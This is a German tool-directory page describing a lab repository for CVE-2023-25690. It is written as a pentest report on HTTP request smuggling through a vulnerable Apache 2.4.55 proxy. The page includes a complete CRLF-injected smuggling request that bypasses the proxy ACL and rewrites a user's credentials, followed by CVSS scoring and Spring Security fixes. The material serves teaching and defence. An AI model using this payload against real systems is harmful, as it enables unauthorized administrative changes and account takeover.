Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-25690_lab — HTTP Request Smuggling lab: Apache 2.4.55 CRLF injection | Kitploit
Tools/GitHubGitHub/giordy0424/cve-2023-25690_lab
SchwachstellenanalyseWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungLabs & Praxis
GitHubgiordy0424/cve-2023-25690_lab

CVE-2023-25690_lab

HTTP Request Smuggling lab: Apache 2.4.55 CRLF injection

Repository anzeigen
3vor 23 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

HTTP Request Smuggling über Apache-Proxy

Umgebungskonfiguration

Infrastruktur

KomponenteRolleVersion
Apache HTTP ServerReverse Proxy2.4.55 (verwundbar)
Spring Boot (eingebetteter Tomcat)Backend-API4.x (Java 21)
SQLiteDatenbank—
root@kitploit:~
Benutzer ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
            │
            ├─ mod_rewrite + mod_proxy
            ├─ CVE-2023-25690: nicht bereinigte CRLF
            ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
            ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
            └─ ACL: <Location "/admin"> blockiert

Öffentliche Backend-Endpunkte

root@kitploit:~
POST /public/register: ermöglicht die Registrierung von Benutzern in der Datenbank
POST /public/login: ermöglicht den Login durch Überprüfung der eingegebenen Anmeldedaten und gibt ein Sitzungstoken aus
GET /public/dashboard: geschützter Bereich der Benutzer
GET /api/status: akzeptiert den Parameter „name“, ist ein Beispiel-Endpunkt zur Überprüfung des Status von Diensten
GET /public/logout

Private Backend-Endpunkte

root@kitploit:~
POST /admin/edit/{id}/{newName}/{newPass}: ist eine theoretisch für die Öffentlichkeit unzugängliche Route, die es Administratoren ermöglicht, Benutzerdaten zu ändern

Referenzmethodik für den Penetrationstest

  1. Planung — Definition des Umfangs
  2. Entdeckung — Informationssammlung, Footprinting, Scannen & Enumeration, Schwachstellenanalyse
  3. Angriff — Exploit, Privilegienausweitung
  4. Berichterstattung — Management-Zusammenfassung, Technischer Bericht

Management-Zusammenfassung

Während der Penetrationstest-Aktivität wurde eine kritische Schwachstelle in der Reverse-Proxy-Infrastruktur identifiziert, die das Spring-Boot-Backend exponiert. Der Apache-HTTP-Server-Proxy in Version 2.4.55 ist von der Schwachstelle CVE-2023-25690 (HTTP Request Smuggling) betroffen, die es einem Angreifer ermöglicht, die auf dem Proxy auferlegten Sicherheitsfilter zu umgehen und direkt ungeschützte interne administrative Endpunkte zu erreichen.

Der Angriff nutzt das Fehlen einer Bereinigung von Steuerzeichen (CRLF) in den RewriteRule-Regeln von Apache aus und ermöglicht die Einschleusung einer zweiten HTTP-Anfrage zwischen den Parametern einer legitimen Anfrage an das Backend. Der Proof of Concept hat die unautorisierte Änderung von Benutzeranmeldedaten in der Datenbank über den Endpunkt /admin/edit/{id}/{newName}/{newPass}, der theoretisch durch die Proxy-ACLs geschützt ist, demonstriert.

Empfehlungen: Apache HTTP Server umgehend auf Version ≥ 2.4.56 aktualisieren, die Sicherheitsfilter auf dem Proxy verstärken und eine Sicherheitsebene auf der Backend-Seite (Spring Security) für alle sensiblen Endpunkte implementieren.


1 Planung

1.1 Vorgehensweise

  • Angriffsvektor: Internet
  • Anzugreifende Umgebung: Produktion

1.2 Gray Box - Bekannte Informationen:

  • Frontend-Hostname
  • Backend-Hostname (oder IP-Adresse im lokalen Unternehmensnetzwerk) und Port
  • Privater Endpunkt

1.3 Testziele

  • Umgehung der Apache-ACLs, um den privaten Endpunkt zu erreichen
  • Nachweis der unbefugten Änderung von Benutzerdaten in der Datenbank
  • Bewertung der konkreten Auswirkungen von CVE-2023-25690 in einem realen Szenario

2 Schwachstellenbewertung — Entdeckungsphase

2.1 Informationssammlung & Footprinting

2.1.1 Banner Grabbing

Identifizierung der Apache-Version durch Analyse der HTTP-Header der Antwort.

root@kitploit:~
$ curl -I http://localhost/service/

HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42

Ergebnis: Der Server-Header zeigt Apache/2.4.55. Konsultation der CVE-Datenbank → Übereinstimmung mit CVE-2023-25690.

Gemäß der CVE gilt: Wenn in dieser Apache-Version eine RewriteRule vorhanden ist, die generische Zeichen aus der Anfrage an den Proxy in die Ziel-URL des Backends kopiert, wird der übertragene Text nicht bereinigt, sodass auch Steuerzeichen (wie Zeilenumbrüche) durchgelassen werden.

Zum Beispiel: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // das P steht für Proxy-Modus

Unser Ziel ist es nun, einen möglichen Endpunkt zu entdecken, der diese Übertragung auf Proxy-Ebene durchführt.

2.1.2 Identifizierung der Backend-Technologien

Aus der Analyse der Antworten und dem Verhalten der Anwendung wird beobachtet, dass die Sitzung über JSESSIONID verwaltet wird, was die Verwendung eines Java-Servlet-Containers (wie Apache Tomcat, Jetty oder WildFly) bestätigt. Darüber hinaus gibt die Anfrage an nicht existierende Endpunkte eine „Whitelabel Error Page“ zurück, was darauf hindeutet, dass im Backend Spring Boot verwendet wird.

2.2 Scannen & Enumeration

2.2.1 Endpunkt-Entdeckung (Fuzzing)

Mithilfe eines Bash-Skripts zur Automatisierung des Wörterbuch-Fuzzings wurden die im Netzwerk exponierten Endpunkte kartiert (vermutlich alle).

Ergebnis:

EndpunktHTTP-CodeMethodeParameter
admin403GET(keine Parameter)
public/register200POSTuser=test&pass=test
public/login200POSTuser=test&pass=test
public/dashboard200GET(keine Parameter)
public/logout200GET(keine Parameter)
api/status200GET(keine Parameter)
service/*200GET(keine Parameter)

2.2.2 Kartierung der Proxy-Konfiguration (Ableitung)

Da

  • /service/x
  • /api/status?name=x

beide dieselbe Antwort zurückgeben, wird klar, dass sie auf denselben Backend-Endpunkt verweisen. Da außerdem Anfragen wie /service/x/y/z (die höchstwahrscheinlich nicht existieren) kein 404 zurückgeben, kann abgeleitet werden, dass der ursprüngliche Endpunkt einen Parameter und keine Pfadvariable akzeptiert. Zusammenfassend lässt sich also ableiten, dass Anfragen an /service/<Dienst> über eine RewriteRule an das Spring-Boot-Backend übersetzt werden (genau das, wonach wir gesucht haben). Nun gilt es herauszufinden, ob diese RewriteRule dumm ist, also eine Regex wie .* verwendet, oder ob sie gut strukturiert ist.

Ich versuche, Steuerzeichen in die Anfrage einzufügen, um den legitimen Inhalt vom verborgenen zu trennen:

root@kitploit:~
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'

>> ... HTTP/1.1 200 ... Der Dienst 'x' ist betriebsbereit und stabil.

Ich habe einen benutzerdefinierten Parameter eingefügt, um zu überprüfen, ob die CRLF korrekt interpretiert werden.

trash_header hat die Aufgabe, die Header zu kapseln, die Apache in die Anfrage an das Backend einfügt (auf diese Weise werden sie als einfacher Text des X-Headers interpretiert und haben für die HTTP-Anfrage keinen Wert).


Außerhalb des Angreifer-Scopes

Mit tcpdump im Backend-Container konnte ich die von Apache kommende HTTP-Anfrage abfangen:

root@kitploit:~
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080

Das Backend sieht diese Anfrage:

root@kitploit:~
GET /api/status?name=x HTTP/1.1
Host: spring-backend

prova: ok
trash_header:  HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive

„Die Steuerzeichen haben die Kontrolle übernommen“

Die Antwort zeigt mir, dass der Teil mit den Steuerzeichen ungehindert als Struktur der HTTP-Anfrage selbst und nicht nur als Parameter durchgegangen ist (da der vom Backend abgefangene Name nur 'x' ist). Wir haben also das Format der HTTP-Anfrage an das Backend vorgegeben und der Proxy hat es übernommen. Dies ebnet den Weg für die eigentliche Smuggling-Payload.

2.3 Kartierung der Angriffsfläche

EndpunktMethodeZugriffHinweise
/public/registerPOSTÖffentlichBenutzerregistrierung
/public/loginPOSTÖffentlichLogin, gibt JSESSIONID aus
/public/dashboardGETAuthentifiziertGeschützter Bereich
/public/logoutGETÖffentlichZerstört Sitzung
/api/status?name=GETÖffentlichHealth Check
/service/{param}GETÖffentlichVerwundbares Gateway ($1 in Query-String)
/admin/edit/{id}/{n}/{p}POSTGeschützt (ACL)Ändert Benutzeranmeldedaten
/admin/*Blockiert (403)Apache-ACL

3 Angriff

3.1 Angriffsziel

Den Apache-Reverse-Proxy zwingen, zwei getrennte Anfragen an das Spring-Boot-Backend weiterzuleiten, sodass die zweite Anfrage den Endpunkt /admin/edit/ erreicht und dabei den ACL-Filter von Apache umgeht.

In dieser Phase stellt man sich vor, dass localhost und spring-backend jeweils die öffentlichen Adressen von Proxy und Server sind. Falls sich Proxy und Backend im selben Netzwerk (oder derselben Organisation) befinden, wird spring-backend eine private IP sein (die leider schwer zu ermitteln wäre).

3.2 Smuggling-Mechanismus

Die Schwachstelle liegt in der RewriteRule:

root@kitploit:~
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

Der Proxy erfasst die Benutzereingabe in $1 und fügt sie in die Query-String ein, ohne die Steuerzeichen (%20, %0d%0a) zu bereinigen. Das Backend (Tomcat) interpretiert diese Zeichen als Abschluss der URL und Beginn einer neuen HTTP-Anfrage auf demselben TCP-Socket.

3.3 Zusammensetzung der Payload

root@kitploit:~
A) GET /service/x                  → Legitimer Teil; alles, was nach /service/
                                      kommt, landet in $1 (Parameter name)

B) %20HTTP/1.1                     → [Splitting Point] Leerzeichen, das die
                                      URL im Backend vorzeitig abschließt

C) %0d%0aHost:...%0d%0a%0d%0a     → [Header Injection] CRLF zum Beenden
                                      der ersten Anfrage

D) POST /admin/edit/1/HACKED/PWNED → [Smuggled Request] Versteckte
                                      bösartige Anfrage an den Admin-Endpunkt

E) %20HTTP/1.1                     → HTTP-Version für die zweite Anfrage

F) %0d%0aContent-Length:%200       → Leerer Body für die POST
   %0d%0aConnection:%20close
   %0d%0aX-Header:%20              → [Header Sink] Absorbiert automatisch
                                      von Apache hinzugefügte Header

3.4 Vollständige HTTP-Anfrage

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost

3.5 Dekodierung des Datenflusses

Was Apache sieht (eine einzige Anfrage):

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost

Was das Backend empfängt (zwei Anfragen auf demselben Socket):

root@kitploit:~
--- Anfrage 1 (legitim, aber „verstümmelt“) ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend

--- Anfrage 2 (smuggled) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:

3.6 Ergebnis

root@kitploit:~
>> ... HTTP/1.1 200 ... Der Dienst 'x' ist betriebsbereit und stabil.

Der Benutzer mit ID 1 wurde in HACKED mit dem Passwort PWNED umbenannt — vollständige Umgehung der Proxy-ACLs.


Außerhalb des Angreifer-Scopes

Direkter Zugriff auf die Datenbank zur Bestätigung:

root@kitploit:~
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"

1|HACKED|PWNED

4 Schwachstellenbewertung

4.1 Identifizierung

IDBeschreibung
CVE-2023-25690Apache HTTP Server HTTP Request Smuggling über mod_proxy mit RewriteRule/ProxyPassMatch
CWE-444Inkonsistente Interpretation von HTTP-Anfragen („HTTP Request/Response Smuggling“)
CWE-113Unsachgemäße Neutralisierung von CRLF-Sequenzen in HTTP-Headern („HTTP Response Splitting“)

4.2 CVSS 3.1 Bewertung

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

Basis-Metriken

MetrikWertBeschreibung
Attack Vector (AV)N (Netzwerk)Aus der Ferne über das Netzwerk erreichbar
Attack Complexity (AC)L (Niedrig)Keine besonderen Bedingungen
Privileges Required (PR)N (Keine)Keine Authentifizierung erforderlich
User Interaction (UI)N (Keine)Keine Interaktion des Opfers erforderlich
Scope (S)C (Geändert)Die verwundbare Komponente unterscheidet sich von der betroffenen
Confidentiality (C)H (Hoch)Zugriff auf geschützte Endpunkte
Integrity (I)H (Hoch)Änderung von Benutzerdaten in der Datenbank
Availability (A)H (Hoch)Mögliche Cache-Poisoning des Proxys / Verschmutzung der Sockets

Basis-Score: 10.0 (KRITISCH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Zeitliche Metriken

MetrikWertBeschreibung
Exploit Code Maturity (E)F (Funktionierender Exploit vorhanden)Funktionierender Exploit
Remediation Level (RL)O (Offizieller Fix)In späteren Apache-Versionen wurde der Fehler behoben
Report Confidence (RC)C (Bestätigt)Schwachstelle bestätigt und dokumentiert

Zeitlicher Score: 9.3 (HOCH)

Umwelt-Metriken

MetrikWertBeschreibung
Attack Vector (MAV)N (Netzwerk)Proxy im Internet exponiert
Attack Complexity (MAC)H (Hoch)Erfordert Kenntnis der internen Endpunktstruktur
Privileges Required (MPR)L (Niedrig)Keinerlei Privilegien erforderlich
User Interaction (MUI)N (Keine)Keine Interaktion externer Benutzer erforderlich
Scope (MS)C (Geändert)Ein System wird über ein anderes verletzt
Impact Metrics (MC/MI/MA)H/H/HMaximaler Schaden (Änderung von Daten in der Datenbank)
CIA Requirements (CR/IR/AR)H/H/HKritisches System (Benutzer-Login)

Umwelt-Score: 8.0 (HOCH)

Vector-String: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H

Gesamtscore: 8.0 — HOCH


5. Behebung

5.1 Software-Update (Empfohlen)

Apache HTTP Server auf Version ≥ 2.4.56 aktualisieren, in der die Bereinigung von Steuerzeichen in den RewriteRule-Regeln mit dem Flag [P] auf Kern-Ebene des Servers erzwungen wird.

Aktuelle VersionZielversionFix
2.4.552.4.56+Automatische CRLF-Bereinigung in mod_proxy

5.2 Backend-Härtung (Spring Boot)

Implementierung von Spring Security

Hinzufügen von spring-boot-starter-security zur pom.xml:

root@kitploit:~
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

Konfigurieren einer SecurityFilterChain, die die administrativen Endpunkte schützt:

root@kitploit:~
@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .requestMatchers("/api/**").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .httpBasic(Customizer.withDefaults())
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
        return http.build();
    }
}

Eingabevalidierung

Hinzufügen von Prüfungen für alle von den Endpunkten akzeptierten Parameter (Query-String, Pfadvariablen, Formulardaten):

root@kitploit:~
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
        @PathVariable Long id,
        @PathVariable @NotBlank String newName,
        @PathVariable @NotBlank String newPass,
        HttpSession session) {

    // Überprüfung, ob der Benutzer die Rolle ADMIN hat
    User loggedUser = (User) session.getAttribute("LOGGED_USER");
    if (loggedUser == null || !loggedUser.hasAdminRole()) {
        return "Zugriff verweigert";
    }
    // ... Operation nur nach Auth-Check erlaubt
}
Tool herunterladen